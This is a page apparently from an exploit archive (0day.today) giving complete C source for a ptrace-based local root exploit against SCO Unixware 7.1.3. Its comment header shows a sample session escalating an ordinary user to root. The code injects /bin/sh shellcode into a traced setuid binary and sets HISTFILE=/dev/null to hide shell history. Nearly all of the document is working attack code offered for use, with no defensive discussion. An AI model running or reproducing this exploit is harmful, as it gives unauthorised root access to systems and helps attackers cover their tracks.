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SCO Unixware 7.1.3 (ptrace) Local Privilege Escalation Exploit
============================================================== SCO Unixware 7.1.3 (ptrace) Local Privilege Escalation Exploit ============================================================== /* SCO Unixware 7.1.3 ptrace local root exploit * ============================================ * SCO Unixware 7.1.3 kernel allows unprivledged users * to debug binaries. The condition can be exploited * by an attacker when he has execute permissions to * a file which has the suid bit set. * * Example. * * $ uname -a * UnixWare iron 5 7.1.3 i386 x86at SCO UNIX_SVR5 * $ /linux/bin/bash * bash-2.05$ uname -a * Linux iron.fi.st 2.4.13 #1 Thu Oct 31 02:32:23 EST 2002 i686 unknown * bash-2.05$ id * uid=122(matt) gid=1(other) groups=1(other) * bash-2.05$ ./fu /unixware/usr/lib/sendmail * [ SCO Unixware 7.1.3 ptrace local root exploit * [ Using 0xbfffed78 * sh-2.05# id * uid=0(root) gid=1(other) groups=1(other) * sh-2.05# * * - prdelka */ #include <stdio.h> #include <stdlib.h> #include <signal.h> #include <syscall.h> #include <sys/ptrace.h> #include <sys/types.h> #include <sys/wait.h> #include <unistd.h> #include <errno.h> #include <asm/user.h> char shellcode[]="\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x31\xdb\x8d\x43\x17\xcd\x80\x31\xc0" "\x50\x68""//sh""\x68""/bin""\x89\xe3\x50" "\x53\x89\xe1\x99\xb0\x0b\xcd\x80"; int main(int argc,char* argv[]) { int esp, eip, i = 0; struct user_regs_struct regs; char *env[] = {"HISTFILE=/dev/null",NULL}; pid_t pid; printf("[ SCO Unixware 7.1.3 local root exploit\n"); if(argc < 2) { printf("[ Usage: [binary]\n"); printf("[ e.g -rwsr-sr-x root root /linux/opt/kde2/bin/kcheckpass\n"); exit(0); } switch (pid = fork()) { case -1: perror("fork"); break; case 0: ptrace(PTRACE_TRACEME, 0, 0, 0); pid = getpid(); execle(argv[1],argv[1],NULL,env); break; default: waitpid(pid, NULL, 0); ptrace(PTRACE_GETREGS, pid, NULL, ®s); esp = eip = regs.esp - 512; while (i < strlen(shellcode)) { ptrace(PTRACE_POKETEXT, pid, esp, (int) *(int *) (shellcode + i)); i += 4; esp += 4; } regs.eip = (long) eip; printf("[ Using 0x%x\n",regs.eip); ptrace(PTRACE_SETREGS, pid, NULL, ®s); ptrace(PTRACE_DETACH, pid, NULL,NULL); } usleep(1); wait(0); return 0; } # 0day.today [2024-09-28] #